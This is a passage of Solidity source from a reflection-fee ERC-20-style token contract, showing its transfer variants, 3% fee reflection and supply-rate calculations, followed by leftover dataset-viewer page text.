_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.mul(3).div(100);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 256,451 | 12,799 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.